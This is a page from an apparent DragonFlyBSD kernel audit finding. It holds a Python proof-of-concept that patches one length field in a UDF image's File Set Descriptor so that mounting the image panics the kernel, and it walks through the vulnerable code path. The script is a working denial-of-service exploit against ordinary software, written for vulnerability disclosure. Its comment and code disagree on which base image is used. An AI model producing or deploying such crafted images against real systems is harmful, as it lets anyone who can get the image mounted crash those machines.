⬢ DragonFlyBSD Kernel Audit
DF-3165 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-3165 -- crafted UDF image whose File Set Descriptor carries
# rootdir_icb.len = 0x100000 (1 MB).
#
# udf_mountfs (sys/vfs/udf/udf_vfsops.c):
#   :373  size = udfmp->root_icb.len;            <-- uint32, straight from disk
#   :374  udf_readlblks(udfmp, sector, size, &bp)
#           -> udf.h:96-100  (size + bmask) & ~bmask   (int arithmetic)
#           -> bread(devvp, loffset, 1048576, bp)
#           -> sys/kern/vfs_bio.c:2738
#              panic("getblk: size(%d) > MAXBSIZE(%d)", 1048576, 65536)
#
# Deterministic kernel panic at mount time from a crafted image.
# (Same unchecked-length family also covers pms->st_size at :662/:673.)
#
# Method: start from the proven-good DF-3102 base image (same generator,
# known to mount cleanly) and patch ONLY the 4 bytes of rootdir_icb.len
# (FSD @ sector 64, long_ad.len at descriptor offset 400).  Those bytes are
# outside the 16-byte descriptor tag, so no checksum is disturbed.
import struct, subprocess, sys, os

here = os.path.dirname(os.path.abspath(__file__))
base = os.path.join(here, "df3164-base.udf")
out  = sys.argv[1] if len(sys.argv) > 1 else "df3165.udf"

if not os.path.exists(base):
    subprocess.check_call([sys.executable,
                           os.path.join(here, "..", "DF-3164", "craft_base.py"),
                           base])

img = bytearray(open(base, "rb").read())
off = 64 * 2048 + 400            # FSD sector 64, rootdir_icb.len
assert struct.unpack_from("<I", img, off)[0] == 2048, "unexpected base FSD len"
struct.pack_into("<I", img, off, 0x100000)
open(out, "wb").write(img)
print("wrote %s: FSD rootdir_icb.len 2048 -> 0x100000" % out)